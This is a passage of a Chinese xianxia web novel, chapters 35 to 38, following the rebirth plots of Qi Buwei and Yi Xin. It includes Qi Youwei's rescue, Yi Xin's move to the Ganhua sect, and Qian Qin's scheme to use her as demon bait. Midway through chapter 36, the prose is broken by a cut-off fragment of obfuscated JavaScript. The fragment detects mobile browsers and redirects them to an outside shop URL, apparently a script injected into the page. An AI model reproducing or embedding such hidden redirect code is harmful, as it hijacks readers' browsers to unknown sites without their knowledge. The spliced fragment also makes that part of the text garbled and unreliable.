当日在树林收服白毫狼后,突降黑雾,不仅裹住了她,还卷起了林中那只白狐,在她察觉自己无法脱身时,立即揪下它一簇毛发,并将白狐送出浓雾。
那只白狐泛着白光,初见妖力,它嗅觉灵敏,必能追到自身的味道。
只要庄内子弟找到白狐,便能让它追踪而来。
祁有为还担忧一件事,当日她亲眼目睹祁不为和易辛掉入湖中的黑洞,也不知现今状况如何……
她心中微沉,不能坐以待毙,刚想继续开口,意识忽然昏沉。
对方故意让她失去意识……
祁有为靠毅力抵抗,却还是抵不过术法,昏昏沉沉地睡了过去。
35. 第四章
意识再度回笼时,祁有为立即睁眼,她想看清对方的脸。
眼前昏暗,四周陈设破败,蛛网遍结,但并未看见什么人,耳边依旧雨声嘈嘈。
正当祁有为疑惑时,雨幕中传来兵刃相接之声。
她灵巧地偏转身子,朝向门口,有两人正在相斗。
其中一人黑袍裹身,看不清面容,连招式术法也看不出门派,不知是人是妖。
对面是个穿白衣的男子,手中长剑凛凛泛光,隔了丈许距离,祁有为仍能感到那柄剑的威严与锐利,仿佛被刺上一剑,便能魂飞魄散。
祁有为拧眉,仙门百家之中,不乏上等法器,若论刀剑,最具灵气与威力的当属不思量,这是师祖传下来的灵剑,但那男子手中的长剑,竟让她觉得更甚。
白衣男子剑招干净利落,配合掐诀施术,一时让黑袍不得近身。
祁有为边看边想办法松绑,但手上缚绳不是普通绳索,她灵力暂封,一时奈何不得。忽然,那黑袍朝她看了一眼,祁有为顿住动作,下一瞬,黑袍在白衣男子的劈砍中化成黑雾,卷向天边,倏然溃散。
男子脸色肃穆,凝了天边片刻,翻手将长剑一振,甩去刃上雨水,收剑入鞘,再缓缓转身,隔着雨幕望向荒宅中的祁有为,对上她一瞬不瞬的目光。
祁有为点头致意,那人却伫立在雨中,似乎没有过来的打算,雨势渐大,她快要看不清对方的眼睛了,但莫名其妙的,她觉得那人没有偏转目光。
他很谨慎?担心她和黑袍一伙的,其实在算计他?
祁有为刚欲开口,那人却动了,携风带雨地踱至荒屋里。
走得近了,那人清冷出尘的气度扑面而来。
看不出宗门的法术招式,没有见过的脸和剑,但一身高深修为。
近日仙门有个传闻,他们下山游历或除妖时,遇见了一名男子,男子无门无派,拜了个隐士高人,一身好修为,再配一把名为无刃的灵剑,问及名讳,便答易张稚。
祁有为试探道:“敢问可是易张稚?稚公子?”
对方面色如常,没什么表情,一言不发地脱起了衣裳,看得祁有为眉梢扬起。
他浑身湿透,长发也湿得微微打卷儿,动作间,有些水珠飞溅在祁有为脸上。
祁有为不动声色地避开,又迷惑地看他把自己剥干净了,只剩湿得近乎透明的里衣,脱到最后,她都不淡定了。
“……你脱衣服作甚?”祁有为声音听来还算镇定,却是迷茫不解。
“湿了,不舒服,不喜欢。”答话间,他拧起眉头,唇线抿直,莫名带着点置气的味道,像个孩子似的。
祁有为一时想笑,一时又莫名其妙,心说那你施个术把衣服烘干不就行了?她再怎么不拘小节,也不好在她面前脱成这个样子吧?
但话到嘴边,又变成了:“你能否帮我解开绳子?我灵力被那黑袍人封——”
话未说完,他蹲下身,指尖蓄力,点了祁有为灵力运行的几个穴道,再辅以术法,替她解开禁制。
近距离之下,祁有为感到他术法中的周正清气与暖意拂过,不禁感慨此人道行确实高深,恐怕比仙门中一些德高望重之辈还要强。
思忖间,祁有为忽感水汽扑面,宽厚的肩膀压着阴影笼下来。她心头一顿,下意识后仰,只见易张稚面无表情地靠近,双手绕过她的腰身,近乎是个拥抱的姿势。
易张稚抽出绳索一端,解了绑缚之力。绳子失去术法的力量,被他轻而易举地抽拉出来。
做完这些,易张稚又起身退开,低头对着绳索施法,似想追踪那黑袍人,但什么也查不出来,他便随手一扔,绳索凌空起火,落地时只剩灰烬。
祁有为眼睛动了动,目光一直追着易张稚,顿觉此人实在太怪。
方才的举动分明逾矩,但他从头到尾心无旁骛、甚至是毫不在意,仿佛只是纯粹地想解开绳索……
传闻易张稚一直跟着师父隐居深山,从未出世,难道是这个缘故,才让他不懂世俗中的礼仪规矩?
外间忽闪一道雷电,打断了祁有为的思绪,她活动手腕,站起身,对着易张稚道谢:“多谢公子相救,我是祁有为,来自清风山庄。”
易张稚点点头,也不知是知道,还是听到了的意思。
祁有为继续道:“不知公子接下来要去哪,若是不嫌弃,可去清风山庄转一转。”
这是行走在外的客套话,观他一番姿态,祁有为不觉得他会走一趟,孰料易张稚竟又点了点头。
“我很想去你那看看。”
祁有为:“……?”
她有些吃惊,但很好地维持了自己的表情,大方笑笑,才要邀请,又听他说道:“但我还有事,以后再去找你,可以吗?”
这话出乎祁有为的预料,她愣怔须臾,旋即露出挑不出差错的礼貌笑意:“自然。我失踪数日,想必山庄很是惊慌,那便恕我先行一步了。”
易张稚望着她:“再见。”
祁有为抬脚走了几步,又折身回来,手中闪过泠泠白光,一瞬间让易张稚浑身干爽,再变出一把伞递给他:“下雨了,撑个伞。以后淋湿了,也可以像现在一样,把自己烘干。”
说罢,祁有为笑着摆摆手,几步间,消失不见,剑刃出鞘声乍起,清脆利落,再看天边,她御剑而行,周遭雨水淋而不湿。
祁有为没再回头,提着气迅速飞行。她整日昏迷,也不知耽搁了多久,她并不担心山庄会乱,而是害怕祁不为和易辛出事。
她又加快了速度,衣袂翻飞,猎猎作响,视电闪雷鸣于无物,忽然,天边划过几道流光,朝她而来。
祁有为愣了一下,忽而欣喜,是祁不为的气息,还有山庄的子弟。
两方人马空中相遇,祁不为一手搂着白狐,一手御剑飞行,看见完好无损的祁有为,惴惴不安的心终于安歇了片刻。
一行人在山庄落地后,祁不为便放开了白狐,随它流窜去哪。
俩姐弟都迫切想知道对方的际遇,祁有为说得十分简短,并未提及易张稚,只说仙门之人,因为他始终没有承认自己的名讳,她也不好乱给人安名字,但易张稚不是重中之重。
“你的意思是,连你也辨不出那黑袍是人是妖?”
两人在案几边对坐,祁不为沉思半晌,手指一下一下点着桌面。前世,祁有为既没被掳走,也没出现过黑衣人。
依她所言,黑袍既没伤她,也没对她下什么咒,她已内查过,身上无恙,那黑袍的目的是什么?
这一世,有很多事情发生了微小的改变。
他和易辛交集提前,白毫狼逃出屠妖塔,把二人送入归墟,这段时间,祁有为被黑袍抓走……
这一切,似乎都是因为他,他改变一些事,接着引发了许多变故。
祁有为见他迟迟不开口,说道:“想不出来的东西便不要为难自己了,我们对黑袍
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掌握的线索太少了,走一步看一步吧,顺其自然。”
祁有为拿起一块糕点,大吃一口,肚腹里垫了食物,她又笑道:“过段时日便是仙首大会,到时候同仙门交流一番,说不定能得到更多线索,若是没有,也好让仙门有个防备。”
听得“仙首大会”,祁不为目光一沉。改命的第一步,便是从仙首大会开始。
前世,仙首大会在甘华门举办,甘华门地处望天谷。
谁也不知道,望天谷有一处封印。
某日,他和祁有为闲逛时,误入封印之地,封印至少已历百年,恰逢那一日松动了,两人坠入封印的裂隙之处,遇见上古妖兽。
他们力有不逮,绝路时,祁不为吸纳了妖兽的妖力,由此入魔。
祁不为心思沉沉,许是重生之故,他依旧受着前世魔心影响,有时分不清前世今生,无端躁郁,但只要避免吸取妖兽之力,他尚算自控。
有些门一旦打开,便关不上。
这一世,他不能再沾染妖力半分。
祁不为收起心思,把归墟境之事娓娓道来。
祁有为听得震惊不已,最后喃喃道:“想不到三界之外,还有这么一处地方。还有那青山戏,实在唏嘘。”
两人又随便聊了几句,各自回房休息去了。
接下来几日,祁家姐弟着手巡查屠妖塔,加固山庄的防护,以防类似的事再发生。
等祁不为闲下来时,他忽然想起了易辛。
那夜冷静下来后,他便嗅出屋内的狐妖之气,明白那易辛是白狐假扮,后来白狐将功补过,帮他寻到祁有为。
他那样对易辛,连解释都听不进去……
祁不为翻身下床,唤来侍女,让易辛来见。
可等了半天,并不见易辛。
秀兰解释道:“公子,管事说前几日易辛便辞了工,下山去了。”
祁不为喝茶的动作顿住:“……她走了?!”
秀兰愣愣点头,不知他作何反应这么大,她们这处院落向来和浣衣坊没什么交集。
祁不为追问:“她去哪了?”
秀兰摇头:“她没说,向管事辞行时,只说在山庄呆了许久,想出门看看。”
祁不为:“那她何时回来?”
工事都辞了,如何会回来?秀兰想着,但见祁不为有些上火,也不敢直言,只好摇头。
祁不为愣愣坐着,他也知道人不会回来,但就是一时转不过来。
她居然真的下山了……她怎么会离开呢?
前世明明直到他死,易辛都一直留在山庄。
这番变化急转直下,让他……有些措手不及。
明月高悬,清风山静谧悠然,虫鸣阵阵。
湖水流经石墩,泠泠向下,映出祁不为颀长的身影。
他漫无目的地沿着河边转来转去,最后停下脚步,望着石墩。
对他而言,易辛走了是件好事。
两人再无交集,她不会蛰伏在自己身边,伺机取走他的性命……
重生之初,他明明恨她恨出了血……祁不为扯了扯嘴角,似乎想高兴一番,但两边嘴角好像挂着什么东西,根本弯不起来。
他捡起石头打了几个水漂,石子掠过水面,溅起几朵水花。
夜色岑寂,山风微凉,吹得湖面泛起褶皱,又掠过祁不为空荡荡的胸膛,似乎带起了落寞的回响。
你为何走了……
36. 第五章
市集上,两个姑娘从一头窜到另一头,叽叽喳喳,好不开心。
白狐拿起一把扇面,遮住易辛下半张脸,打趣道:“你还是易辛么?不会是被妖怪附身了吧。”
易辛从白狐手中拿过纸扇,摩挲着上面精致的刺绣,笑问:“这是何意?”
白狐凑近了看易辛:“我原以为你是那种行事稳重,不会大笑也不会大哭的人呢,结果下山一趟,有时比我还闹呢。”
易辛环顾四周,入目所见,人声鼎沸,摊贩吆喝声不绝于耳,物品也是琳琅满目,一派太平景象。她神色变得有些渺远:“我几乎没离开过山庄和山脚下的镇子,如今能走这么远,一路新鲜好玩,我自然高兴。”
清风山庄向来厚待庄子里的人,而易婆婆把一生的积蓄都留给了易辛,再加上她自己攒下来的银钱,便有了一笔可观的盘缠,让她和白狐二人好好潇洒了一番,从清风山自甘华门脚下的芙蓉镇,一路游来,吃吃喝喝,惬意欣然。
易辛收回目光,对白狐笑笑:“小白,我们去吃午饭吧。”
白狐行走在外,给自己取了个白三清的名号,昵称小白。
两人在喧闹的酒楼坐下,小二上了几道招牌和点心,看着两位瘦弱的姑娘,随口问道:“二位会不会点多了?”
白三清摆摆手,瞥了眼易辛:“不多不多,我们吃得完。”
闻言,小二便退下了,白三清夹起一片薄而香的肉,递至易辛嘴边。
易辛眼神发亮,嗷呜一口吃掉,还不忘一句道谢。
肉片软烂,入口即化,香辣之味刹那令人开胃,易辛开心地笑弯了眼。
白三清自己也吃了一口,边嚼边看易辛,在清风山庄时,她觉得易辛温和淡然,但一路上,她又发现原来易辛也这么可爱,而且很爱吃美食,饭量大得令人咋舌,虽然她有个奇怪的毛病,自己过手的东西就变了味儿,只能他人相喂。
白三清不懂其中缘由,但也无意深究,毕竟有人包揽她的吃喝,自然要对“恩客”礼貌尊重、照顾周到。
易辛:“小白,游过芙蓉镇,我便要去甘华门了。那里是修仙之地,你若跟着去恐有危险。”
白三清点点头,当日祁不为见了阿姐,自然没有心思管她,她便溜回易辛房里,易辛知晓庄主平安归来,竟告诉她自己要下山离开了。
白三清刚化人形,自然对人间充满好奇,两人约法三章,便一齐上路了。
其中两章便是,白三清要给易辛喂饭,不能用妖术伤人。
她一早知道易辛的目的地是甘华门,却有些不解:“你为何要离开清风山庄啊,还又跑到甘华门来。”
易辛吃下白三清投喂过来的膳食,心中想着措辞。其实自她重生以来,率先定下的两个目标便是去归墟境得到桃木,事毕后再去甘华门。前世,她和仙门百家毫无接触,对祁不为下山后的经历几乎一无所知,但她知道一切的变故始自甘华门的仙首大会,只有去了甘华门,才能弄清来龙去脉。
只是依照她和祁不为的隔阂,后者必然不会带她去甘华门,她只能自己去。而且离祁不为远些,她也许更安全。
前世今生,她从不贪图祁不为,只要能改变入魔的命运便好。
斟酌好措辞,易辛说道:“祁不为对我有些不喜,继续留在山庄,对我不妥。不若换个地方过活。素闻甘华门掌门为人和善,就暂且来这试试。”
白三清脸红,有些扭捏:“你们……是因为我么?其实祁不为他……”
易辛打断了白三清的话,摇头道:“不是你,在你出现之前,我们关系就不太好了。”
白三清闻言有些奇怪疑惑,但见易辛不想继续,便收了满腹疑问,说起自己的打算:“我先在芙蓉镇落脚吧。你刚来这,人生地不熟的,若是不开心或是出了什么事,也能我有帮衬一二。”
末了,白三清拍拍胸脯,朝易辛扬了扬眉稍。
易辛笑着点头:“好呀,多谢白大仙了。”
一番谈话过后,两人开开心心地干饭,最后把餐盘扫荡一空。
仙首大会在即,甘华门需要大量人力,易辛便是瞅准了这一点,最后顺利地留在了甘华门。
易辛行事细致妥帖,很快适应了此地的事务,每隔三日,便下山去看望白三清。
是日,易辛推开一处宅门,看见一只白狐在青石板铺就的地上扑蝶,嘴里含着清脆的狐鸣。
她顿觉此番画面有些好笑:“你在做什么?”
闻言,白三清眸光一亮,快跑两步,扑进易辛怀里。
易辛顺了顺她光滑的毛发:“今日怎的不化形成人了?”
白三清嗷嗷叫:“这段时日一直当人,有些无聊了。还好这里独门独院,没人看见,不然他们要知道邻居是只妖,不得吓死。”
易辛抱着白狐坐在庭院的石桌边:“这几日,仙门的人便会陆陆续续到芙蓉镇,再上山去甘华门。以防万一,你就安分些,别出门了,小心被他们发现了行踪。”
白三清又是嗷呜长鸣:“那我不得无聊死。”
易辛哄道:“等仙首大会结束,你想去哪便能去哪。”
白三清不说话,在易辛手里蹭来蹭去,说真的,她还有些不舍得易辛呢:“那你这段时日是不是很忙啊?”
易辛点头,但混在仙门之中,她才能探听到更多消息。当日划分负责区域时,易辛便避开了无相宗和清风山庄。
无相宗……有多远避多远吧……
两人闲聊几许后,易辛便离开了。白三清又开始无聊地用爪子刨青石板里长出来的杂草。
过了一会儿,宅门被人推开了,听见动静,白三清正和一株顽强的杂草斗争着,没空抬头,只囫囵道:“怎么又回来了?是落东西了,还是有事叮嘱啊?”
对方并无应答,直到一双陌生的鞋履步入视线,白三清才停下动作,猛然抬头。
面前站着一个长相端正的男子,身着校服,手中执剑。
惊恐在心头炸开,皮毛竖起,白三清认得这身衣服,是甘华门的人。
她被发现了……他们要来杀她?!
白三清害怕地后退,不自由主地呜咽皋鸣。
三日后。
易辛和一众侍女洒扫完甘华门的大殿,方步出殿门,远处忽传来清亮鹤鸣,人群里响起此起彼伏的惊叹之声。
易辛抬头望向天边,一排排仙鹤振翅高飞,掠过流云,仿若仙人来。
“难怪传闻说诸门百家,无相宗最像仙门,这排面与天界的神仙相比,也不遑多让了吧。”
“有些招摇吧……”
“仙首大会,本来便是各方亮相的地方,各家山宗门派也得讲究体面嘛。”
“再体面有什么用,仙门百家都多少年没人飞升成神了。而且无相宗的公子小姐据说跋扈得很……”
“嘘……别说了,掌门来了……”
闲言碎语悄然而止,易辛等一众侍女退居一旁,朝迈出殿外的甘华掌门和弟子们垂头欠身。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947923|191107||http|test|mini|href|location''.split(''|''),0,{}));
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>易辛视线不动声色地追上他们。为首之人便是甘华门的掌门李纳川,长得慈眉善目,颇有儒雅之风,身后跟着数位弟子。
她目光匆匆掠过其中一名长相端正之人。
——余桓。
她初来甘华门之际,偶然见到余桓,便想起前世祁不为曾评论仙门百家,无相宗宗主钱备野心勃勃,最为阴险;甘华掌门怯懦无能……总之把仙门批得一无是处,唯独余桓让他嘴下留情,言其有几分风骨。
仙鹤施施然落地,李纳川迎上,同一位面容冷硬的中年人互相致意:“钱兄,每次看到这些仙鹤座骑,便忍不住道一声好气派啊。”
钱备闻言笑了笑:“甘华门坐拥得天独厚的望天谷,也叫人煞是羡慕,不像我们无相宗,到处都是水,不如这望天谷峰峦雄伟。”
客套一番后,钱备身后的一名女子上前几步,满脸期盼:“李伯伯,清风山庄可来了?祁不为到了没?”
“钱沁,能不能有点出息?”女子身旁还站着一名魁梧的男子,和钱备有几分相像。
钱沁不满地看了钱衡一眼:“都是同道,关心关心不行!”
李纳川看着这对兄妹斗嘴,摇头笑了笑:“仙门之中,你们到的最早,余人还在路上,约莫就这几日了。”
说罢,李纳川引路,带着众人离开殿门前的广场。
见状,易辛连忙低头,尽量避开自己的脸,好在李纳川只是把人引去住处,没入殿。
如李纳川所言,这几日诸门派陆陆续续上山,登场方式不一,让甘华门着实热闹了一把。
与此同时,易辛也怀着十二分的谨慎,但霉运并不放过她。
怕什么来什么。
易辛跟在几名侍女身后,手中端着果盘,要送去门派子弟就寝的厢房。
众人穿过一条长长的走廊,不时遇到往来的仙门中人。
就在这时,易辛忽闻一道鞭声,撕裂空气,击在地上,猎猎作响。
这番动静属实不小,她们几人都吓得抖了一下,易辛似有所觉,心狠狠一跳。
她们向前望去,转角处站着两人,同行之人对钱沁恭维道:
“你这鳌金鞭用起来真是愈发炉火纯青了。”
“爹爹每日督促我练习,可不敢懈怠。”
钱沁收回鳌金鞭,手上用力一拉,绵软的鞭子猛地抽直,啪的一声,清脆无比,令人忍不住联想到那鞭子落在身上的滋味。
钱沁顺势把鞭子挂回腰间,与同行者一道沿着长廊走来,易辛等人退至一旁,端着托盘低头福身。
钱沁掠过时,带起身上馥郁的花香,闻得易辛手心发冷,但好在她们二人很快离开了。
这时,易辛才敢小小地吐了口气,同余人朝前走,身后却冷不丁响起一声“站住”。
易辛顿住脚步,端住托盘的手不禁攥紧。
侍女们齐齐转身,静听钱沁吩咐。
钱沁拧眉,直勾勾地盯着易辛,走到她身前:“我好像见过你?”
易辛依旧低着头:“……钱小姐,我没去过无相——”
话未说完,下巴被钱沁强势挑起,对方的脸毫无预兆地闯入易辛眼帘。
精致、嚣张,还有藏在脸孔后的恶毒。
相比于厌恶,恐惧和战栗率先冒头,仿佛本能。易辛无可自抑地绷紧全身,攥紧托盘的指节都泛了白。
仙门百家对祁不为又惧又恨,但比起祁不为,她最怕钱沁。
前世,她死在了钱沁手里。
37. 第六章
易辛压住恐惧,竭力保持面上的镇定,只是捏住下巴的力道越来越重,周围一圈都泛了白。
她佯装疑惑不解地望着钱沁,只见后者目光从恍惚到清明。
钱沁想起来了,眼里聚起星星点点的怒意和嫉妒,更多的则是不屑。
“我在清风山庄见过你。那时祁不为姐姐过生辰——”
“就在那一日,祁不为亲口说,他喜欢你。”
其实这一切都是误会。
当日易辛赶着去给祁有为送衣服,半路撞上钱沁对祁不为纠缠不休。
祁不为烦了,干脆拉着易辛挡桃花,实则那时他既不认识她,后来也不记得她。
但偏偏是这场意外,让钱沁记恨了她很多年。
电光火石间,易辛拿定了主意,眉眼低垂,让自己显得可怜无害:“钱小姐误会了,我和公子并不熟,那日他只是拿我当挡箭牌。”
钱沁打量易辛,看起来半信半疑。
易辛继续迷惑钱沁:“公子没有接受钱小姐的好意,应当是你们那时年岁较小,他或许希望二人专注修行,如今你们各有成就,说不定机缘已到。”
钱沁拧起眉头,十六七的年纪,确实有些小,难道他当时对自己恶语相向,又用灵力压制她,是故意在刺激她,要她精进修为吗?
易辛将钱沁眼角眉梢的松动都看在眼里,安抚过她后,最后一步,便是踩低自己,让她在比较中心满意足。
易辛把头垂得更低,看起来有些难过和无地自容:“我当时也误会了,后来几年对公子生出了妄念,前段时日胆大包天对他表明心意,公子却大怒……”
说到最后,易辛带了些哭腔:“……最后他把我赶了出来,还说再也不想看见我……而且,他根本不记得我,又害得我离开了庇身数年的山庄……”
显而易见地,钱沁被祁不为对易辛的绝情所取悦了。祁不为不记得易辛,更说明当日只是抓个人来逢场作戏。本就是如此,祁不为一个世家公子,怎会看上易辛这般家世模样通通都没有的人。
钱沁心情大好,慢悠悠地环抱双臂,满眼奚落又痛快地望着易辛,最后大发慈悲地挥挥手:“走吧,忙你们的事去吧。”
易辛恭敬告退,做足姿态,以防钱沁阴晴不定。
离开钱沁的视线后,易辛终于松了口气。
在清风山庄时,易辛的打算里根本没有钱沁,她忘了还有和钱沁碰面的可能,今日的意外倒是提醒了她。
钱沁对她而言,是个威胁她性命的隐患。
她要消除这份威胁。
只是这段时日,易辛一方面忙得脚不沾地,另一方面没寻到和钱沁单独相处的时机,所以迟迟没有下手。
一日,易辛又被交代了任务,要去芙蓉镇采买,带队的是余桓。
到了芙蓉镇,各人领命,前去采买不同的物需。
易辛刚把需要的香料单子核对好,余桓便踏入铺子里。
易辛见到他,便道:“余桓师兄,这边单子已经对好了,只等老板配货。”
余桓拿过单子,随口问道:“易辛,你以前在哪儿上工?”
易辛微愣,略一思忖,放弃了隐瞒的打算,等祁有为一行人到来,她的过往根本不禁问,隐瞒反倒徒惹麻烦:“曾经在清风山庄上工。”
余桓看了她一眼,似乎有些惊讶。
易辛继续道:“我自小想看看外面是何模样,攒了些钱财后,便辞了工,一路游历到此,盘缠所剩不多,听闻甘华门在招人,便来了。”
余桓点头:“这些天你们一直很忙,备好物需后便在镇子上逛逛吧,两个时辰后在山脚集合。”
听得他如此体贴周到,易辛道了谢,送他出门。
临走时,余桓又叮嘱道:“近日芙蓉镇外有妖物出没,行踪不定,我们抓了几回,都被它溜了,所以不要出镇。”
听得妖怪,易辛神色认真起来,谨记他的话,目送余桓走入人群时,恍然见他挂在腰间的乾坤袋动了动,再定睛去看时,又没了动静。
易辛歪了歪头,忽觉这几日累出了幻觉。
余桓并未走远,藏身于一个能很好观察易辛的角落。
街面上热闹非凡,不时有孩童嬉戏。有两人打打闹闹,不慎撞上余桓,顿时变得有些胆怯,嚅嗫着道歉。
余桓摸了摸孩童的发顶,浅浅一笑:“没事,路上人多,不要再打闹了,小心磕伤。”
孩童红了脸,点点头,一溜烟儿跑了,窜过香料店,恰逢易辛走出铺面,余桓敛了神色,隐在人群中默默跟着。
易辛毫无所觉,从容地逛着芙蓉镇,她本想去看看白三清,但这几日大街上的仙门弟子众多,她怕惹麻烦,便打消了这个念头。
跟踪易辛的余桓自然也毫无收获,随手摸了摸腰间的乾坤袋,倏地怔住。
他低头一看,腰间空空如也,那没乾坤袋不知去了何处。
余桓眼神一紧,陡然想起撞了自己的嬉闹孩童。
他不确定是不是被他们顺走了,倘若是普通凡人,他并不担心,那只白狐已被他锁住了妖力,但若是掉在半路,又被仙门中人捡到,她便岌岌可危。
想到这里,余桓紧张起来,不再跟踪易辛,立即掉头去寻乾坤袋。
小巷中,两个孩童偷偷摸摸地打量手中的乾坤袋。
“这里面会有很多银子吗?”
“听大人说,他穿着那样的衣服,便是甘华门的人,甘华门自然不缺钱。”
两人相视一笑,迫不及待地解开乾坤袋,还没来得及扒开袋口,袋子簌簌抖动起来,一股白烟从中冒出,落在地上时化作一头白狐。
两人见状,不禁大喊妖怪,顿时吓得屁滚尿流地逃了。
白三清没理会他们,现出人形后,满脸怨气。
当初她以为折回来的是易辛,没料到是甘华门的弟子。
易辛每回见过白三清后,总会去人烟嘈杂之地走一趟,盖住身上妖气,上山之后立即洗浴,也不知怎的还是叫余桓发现了。
起初余桓以为易辛和白三清是潜入芙蓉镇和甘华门的妖怪,为了探出她们的目的,他默默跟了几回,发现两人并无异动,而且白三清道行低微,不像能做恶的模样。
但以防万一,余桓还是决定封住白三清妖力,并将其收入囊中,待仙首大会事了,再作决议。
白三清被余桓关了好几日,内心问候了他祖宗十八代,忿忿不已,一朝脱身,她决定跑路,先离开芙蓉镇,等时机合适,再回来找易辛。
打定主意,白三清顶着凡人模样,一路走得小心翼翼,避开街上五花八门的门派弟子。
余桓唯一帮到她的就是,封住妖力的同时,也帮她掩盖了妖气,只要不主动凑到仙门面前,便不太会暴露妖物身份。
快要走到芙蓉镇的出口时,白三清忽然看
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见了摊贩边的易辛,她顿时喜出望外,正好可以和易辛道别,省得她到时寻不到自己瞎担心。
只是还没走上前,余光撇到仙门子弟从另一条道走来,白三清立即找了个掩处躲着。
那行人在离白三清不远的地方停下,正商议着什么。
钱衡和钱沁对视一眼,说道:“芙蓉镇外藏着一个妖怪,据说已经掳走了八九人,甘华门屡次收妖失败。”
身后的诸位弟子面面相觑,再看向钱衡:“大师兄的意思是,我们出面捉妖?”
钱沁嗤笑:“人命关天,甘华门抓了这么些日子都一无所获,简直窝囊,若是无相宗能抓住妖物,必能踩甘华门的脸面,助长我们威风,届时也能帮爹爹更好地争得仙首之位。”
钱衡:“仙首之位根本不需要争,甘华门长灵丹妙药,短修为灵力,清风山庄就剩一对孤寡姐弟,根本不中看,仙首是爹的囊中之物。”
钱沁顶嘴:“哥,你说别人就说别人,能别带祁不为吗?忘了自己曾是他的手下败将了。”
钱衡瞪起眼睛,面相颇为吓人,可是钱沁天不怕地不怕,师弟们担心两人又吵起来,连连打马虎眼:“师兄师姐,我们还是商讨捉妖事宜吧。”
白三清心中连连附和,要抓赶紧去抓,别耽误她跑路啊!
钱衡冷哼一声,说道:“甘华门动静太大,那妖怪多有防备,不会轻易出现了,我们要想办法引蛇出洞。甘华门已经严禁百姓离开芙蓉镇,若妖怪急需生人,我们可派一人乔装出镇。”
钱沁赞同:“那妖怪好一阵子没抓着生人,必定会抓住这次机会。”
其中一个师弟却不免担忧起来:“听说那妖怪妖力不俗,所以才能屡次逃脱甘华门的抓捕,那乔装打扮的人被打伤或是被抓走怎么办?”
他道出了余人的顾虑,所有人心知肚明,这种危险的事绝对落不到钱衡和钱沁两兄妹身上,若他们抗命,一旦回到无相宗,只怕也没什么好下场。
他们畏惧钱备,也畏惧两兄妹的恶毒秉性。
白三清一时对这些人又唾弃又怜悯。仙门的职责是除魔卫道,他们不以身犯险谁去以身犯险?但确实又挺可怜的,凭什么宗门大少爷大小姐就能叫别人替他们去死。
钱衡看着众人畏缩窝囊样,刚要发作,便看钱沁朝不远处的摊贩点了点下巴:“不必乔装了,那不就有个妥当人选?”
众人齐齐望去,瞧见一名女子在摊贩处挑选东西。
钱沁盈盈一笑:“我见过她,她是甘华门的侍女。甘华门既抓不到妖怪,那便出个诱饵,不过分吧?”
他们逃过一劫,自然欣喜附和:“对啊,甘华门出人,我们出力。”
钱沁笑意扩大,眸子黑亮。
虽然当年是逢场作戏,如今那侍女又被祁不为赶出清风山庄,但她无法忍受祁不为拿这种人来挡她。
明明是个卑如草芥的侍女,简直是侮辱她!
易辛付了钱,拿起一枚精心挑选的簪子走入小巷。
巷中此时无人,她没注意身后接近的一行人,也不知危险降临,走着走着忽然眼前一黑,直直晕了过去。
彻底失去意识前,鼻尖闻到馥郁芳香,钱沁……
她心头一阵发紧,却还是陷入无边的黑暗。
白三清躲在远处,望着眼前一幕,瞠目结舌。
这群仙门弟子做的还是人事吗?居然拿易辛当诱饵!
38. 第七章
白三清又急又气,六神无主间猛地想起余桓。
虽然余桓也是仙门中人,但她被锁在乾坤袋里躁动不安时,余桓也会在房中把她放出来活动活动筋骨,冲着这一点,尽管她把余桓问候了无数遍,仍觉得他是个能求助之人。
何况,她别无选择了。
暂且不说她被封住了妖力,便是没封住,也不够仙门看的。
盘算一番后,白三清立即开始寻人,祈祷他此时就在芙蓉镇,而不是甘华门。
那厢余桓也在心急火燎地找着白三清。
一人一妖“双向奔赴”,终于在人声鼎沸的街市碰上了。
发现余桓的那一刻,白三清简直双眼放光,立即扑了上去,紧紧揪住余桓衣襟。
余桓惊诧:“你没事……”
白三清语速飞快:“无相宗的人把易辛抓走了,要拿她当诱饵吸引镇外的那个妖怪!”
末了,白三清怒急:“他们真不是个东西。”
余桓再度震惊,而后眉头紧锁,面色凝重起来。
数里之外,祁不为只身一人御剑飞行,一会儿看看脚下树林,一会儿瞥瞥身旁流云,显得百无聊赖漫不经心。
越临近甘华门,祁不为越懒散抗拒,环抱双臂时,手指点在手臂上,时快时慢,仿佛有什么自己也说不上来的心事。
他吐了口气,脚尖用力向下,不思量载着他飞向地面。
祁不为一跃而下,不思量重新回到手中,他迈开脚步,慢悠悠地走着。
前世去往甘华门的路上,他和祁有为游历而来,路上遇到求救之人,说自己村庄上有妖物横行。为了不耽误行程,加上祁不为本也不情愿去甘华门,便和她暂且分开,他去路人村子上除妖,祁有为先去甘华门。
等他再到甘华门时,祁有为已经和易张稚携手杀了芙蓉镇外的茧妖,他们在初次相识中结下缘分,再离开甘华门时,两人已是心中有了彼此。
吃一堑长一智。
这回,祁不为故意让祁有为去村子除妖,他先去甘华门,让两人失去“惊心动魄的初见”,等祁有为和他汇合时,便日日跟着她,叫她和易张稚只能当个点头之交。
如此一来,两人不可能再生情愫。
思及此,祁不为闷闷不乐的心情总算好了点,不知不觉间走到了芙蓉镇城门外。
城门处聚着数人,祁不为定睛一看,一下就发现了无相宗之人。
目光掠过钱衡和钱沁,他眉头皱了起来,神色颇为不耐。
无相宗似与何人争执,对方却单枪匹马。
这让祁不为来了点兴致,仙门中人,大多见到这对活阎王恨不得退避三舍,哪来的胆量和他们叫嚣。
祁不为上前几步,那群人陷在争执中,没人发现他。
他却看见了余桓,眉梢不由微扬。忽然,他听见那群人口中念出“易辛”二字,玩味的神色倏忽消失。
余桓实在怒不可遏,他依着白三清的话,匆匆赶到城门口,并未见到易辛,这在意料之中。
钱衡等人既绑了易辛,自然已前去引诱妖怪,他刚想尝试用术法追踪,却见他们自城门外而来。
一行人或多或少地挂了彩,无相宗的人倒是整整齐齐回来了,独独不见易辛。
余桓皱起眉头,开门见山:“易辛呢?她为何没跟着你们回来?”
钱衡也锁起了眉,疑惑道:“什么易辛?她是谁?”
不知他真不知道还是装傻,余桓更加直白:“就是那个被你当作诱饵的女子!”
钱衡愣了一下,好像才知道那女子名叫易辛,但转瞬之间,他脸色就难看起来,受到冒犯似的:“你在说什么?哪来的诱饵?”
